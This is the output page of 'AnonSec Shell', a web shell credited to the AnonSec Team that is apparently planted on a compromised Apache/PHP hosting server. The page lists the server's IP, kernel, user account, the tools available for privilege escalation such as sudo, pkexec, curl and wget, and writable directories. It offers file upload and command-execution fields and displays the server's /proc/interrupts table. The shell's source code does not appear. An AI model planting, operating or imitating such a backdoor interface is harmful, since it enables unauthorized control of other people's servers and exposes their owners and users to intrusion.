AnonSec Shell
Server IP : 92.204.138.22  /  Your IP : 3.142.252.172
Web Server : Apache
System : Linux ns1009439.ip-92-204-138.us 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
User : internationaljou ( 1019)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/thread-self/root/proc/interrupts
            CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       
   0:         92          0          0          0          0          0          0          0  IR-IO-APIC    2-edge      timer
   3:          0          0         19          0         36          0          0       2003  IR-IO-APIC    3-edge      ttyS1
   8:          0          0          0          0          0          0          1          0  IR-IO-APIC    8-edge      rtc0
   9:          0          3          0          0          0          0          0          0  IR-IO-APIC    9-fasteoi   acpi
  16:          0          0          0          0          0          0          0          0  IR-IO-APIC   16-fasteoi   i801_smbus
  24:          0          0          0          0          0          0          0          0  IR-PCI-MSI 458752-edge      PCIe PME
  25:          0          0          0          0          0          0          0          0  IR-PCI-MSI 466944-edge      PCIe PME
  27:          0          0          0          0          0          0          0          0  IR-PCI-MSI 93323264-edge      PCIe PME
  30:          0          0         34         54          2        104          0          0  IR-PCI-MSI 327680-edge      xhci_hcd
  31:  104165006   82997108  190043974   79944854  252988966   26465795  210548365  435931883  IR-PCI-MSI 288768-edge      ahci[0000:00:11.5]
  33:          0          0          0          0          0          0          0          0  IR-PCI-MSI 376832-edge      ahci[0000:00:17.0]
  34:          0          0          0          0          0          0          0          0  IR-PCI-MSI 94896128-edge      i40e-0000:b5:00.0:misc
  35:  102536549    4645877   12583385    3085504    3048215    4061862    1885400    2086529  IR-PCI-MSI 94896129-edge      i40e-eno1-TxRx-0
  36:    3642295  118206588    3771803    4381501    4708754    3594187    1274987    2155234  IR-PCI-MSI 94896130-edge      i40e-eno1-TxRx-1
  37:   14909345    2667635  116547834    1993097    4217553    3279563    1442033    1458227  IR-PCI-MSI 94896131-edge      i40e-eno1-TxRx-2
  38:    1972298    3593094    1995908  123694852    3129227    2593627    6234751    1314518  IR-PCI-MSI 94896132-edge      i40e-eno1-TxRx-3
  39:    1939073    3790270    4603614    2714146  133035539    4548237    1014164    2443149  IR-PCI-MSI 94896133-edge      i40e-eno1-TxRx-4
  40:    2540885    2656134    2017046    2124192    3289814  149294864    2004238    3845554  IR-PCI-MSI 94896134-edge      i40e-eno1-TxRx-5
  41:    1556205    2030996    2309005    5953442    2450564    4028576  117063073    1765504  IR-PCI-MSI 94896135-edge      i40e-eno1-TxRx-6
  42:    1922068    3112628    2777949    2123189    4347915    4448082    1429585  114425304  IR-PCI-MSI 94896136-edge      i40e-eno1-TxRx-7
  43:          0          0          0          0          0          0          0          0  IR-PCI-MSI 94896137-edge      i40e-0000:b5:00.0:fdir-TxRx-0
  44:          0          0          0          0          0          0          0          0  IR-PCI-MSI 94896138-edge      irdma
  45:          1          0         14          0          3          0          0          3  IR-PCI-MSI 94896139-edge      CEQ
  46:          0          0          0          0          0          0          0          0  IR-PCI-MSI 94896140-edge      CEQ
  47:          0          0          0          0          0          0          0          0  IR-PCI-MSI 94896141-edge      CEQ
  48:          0          0          0          0          0          0          0          0  IR-PCI-MSI 94896142-edge      CEQ
  49:          0          0          0          0          0          0          0          0  IR-PCI-MSI 94896143-edge      CEQ
  50:          0          0          0          0          0          0          0          0  IR-PCI-MSI 94896144-edge      CEQ
  51:          0          0          0          0          0          0          0          0  IR-PCI-MSI 94896145-edge      CEQ
  52:          0          0          0          0          0          0          0          0  IR-PCI-MSI 94896146-edge      CEQ
  56:          0          0          0          0          0          0          0          0  DMAR-MSI    2-edge      dmar2
  57:          0          0          0          0          0          0          0          0  DMAR-MSI    1-edge      dmar1
  58:          0          0          0          0          0          0          0          0  DMAR-MSI    0-edge      dmar0
  59:          0          0          0          0          0          0          0          0  DMAR-MSI    3-edge      dmar3
  89:          0          0          0          0          0          0          0          0  IR-PCI-MSI 94898176-edge      i40e-0000:b5:00.1:misc
  98:          0          0          0          0          0          0          0          0  IR-PCI-MSI 94898185-edge      i40e-0000:b5:00.1:fdir-TxRx-0
  99:          0          0          0          0          0          0          0          0  IR-PCI-MSI 94898186-edge      irdma
 100:          0          0          0         14          0          0          0          0  IR-PCI-MSI 94898187-edge      CEQ
 101:          0          0          0          0          0          0          0          0  IR-PCI-MSI 94898188-edge      CEQ
 102:          0          0          0          0          0          0          0          0  IR-PCI-MSI 94898189-edge      CEQ
 103:          0          0          0          0          0          0          0          0  IR-PCI-MSI 94898190-edge      CEQ
 104:          0          0          0          0          0          0          0          0  IR-PCI-MSI 94898191-edge      CEQ
 105:          0          0          0          0          0          0          0          0  IR-PCI-MSI 94898192-edge      CEQ
 106:          0          0          0          0          0          0          0          0  IR-PCI-MSI 94898193-edge      CEQ
 107:          0          0          0          0          0          0          0          0  IR-PCI-MSI 94898194-edge      CEQ
 141:          0          0          0          0          0          0          0          2  IR-PCI-MSI 65536-edge      ioat-msix
 143:          0          2          0          0          0          0          0          0  IR-PCI-MSI 67584-edge      ioat-msix
 144:          0          0          2          0          0          0          0          0  IR-PCI-MSI 69632-edge      ioat-msix
 145:          0          0          0          2          0          0          0          0  IR-PCI-MSI 71680-edge      ioat-msix
 146:          0          0          0          0          2          0          0          0  IR-PCI-MSI 73728-edge      ioat-msix
 147:          0          0          0          0          0          2          0          0  IR-PCI-MSI 75776-edge      ioat-msix
 148:          0          0          0          0          0          0          2          0  IR-PCI-MSI 77824-edge      ioat-msix
 149:          0          0          0          0          0          0          0          2  IR-PCI-MSI 79872-edge      ioat-msix
 NMI:      51214      47434      43937      43612      30816      41302      44351      43568   Non-maskable interrupts
 LOC: 2148485853 2091079443 1970669124 1987509170 1990423681 1999747335 2289276981 1959267196   Local timer interrupts
 SPU:          0          0          0          0          0          0          0          0   Spurious interrupts
 PMI:      51214      47434      43937      43612      30816      41302      44351      43568   Performance monitoring interrupts
 IWI:          3          0          1          1          0          0          0          0   IRQ work interrupts
 RTR:          3          0          0          0          0          0          0          0   APIC ICR read retries
 RES:     725600     710066     693476     633566     679390     572349     568023     611633   Rescheduling interrupts
 CAL:  233105193  114846758   65849468   44773424   36801473   34895073   32857307   35258401   Function call interrupts
 TLB:   15959173   16514736   17376874   17201568   15190623   17899026   16972665   17268457   TLB shootdowns
 TRM:          0          0          0          0          0          0          0          0   Thermal event interrupts
 THR:          0          0          0          0          0          0          0          0   Threshold APIC interrupts
 DFR:          0          0          0          0          0          0          0          0   Deferred Error APIC interrupts
 MCE:          0          0          0          0          0          0          0          0   Machine check exceptions
 MCP:      21587      21588      21588      21588      21588      21588      21588      21588   Machine check polls
 HYP:          0          0          0          0          0          0          0          0   Hypervisor callback interrupts
 HRE:          0          0          0          0          0          0          0          0   Hyper-V reenlightenment interrupts
 HVS:          0          0          0          0          0          0          0          0   Hyper-V stimer0 interrupts
 ERR:          0
 MIS:          0
 PIN:          0          0          0          0          0          0          0          0   Posted-interrupt notification event
 NPI:          0          0          0          0          0          0          0          0   Nested posted-interrupt event
 PIW:          0          0          0          0          0          0          0          0   Posted-interrupt wakeup event

Anon7 - 2022
AnonSec Team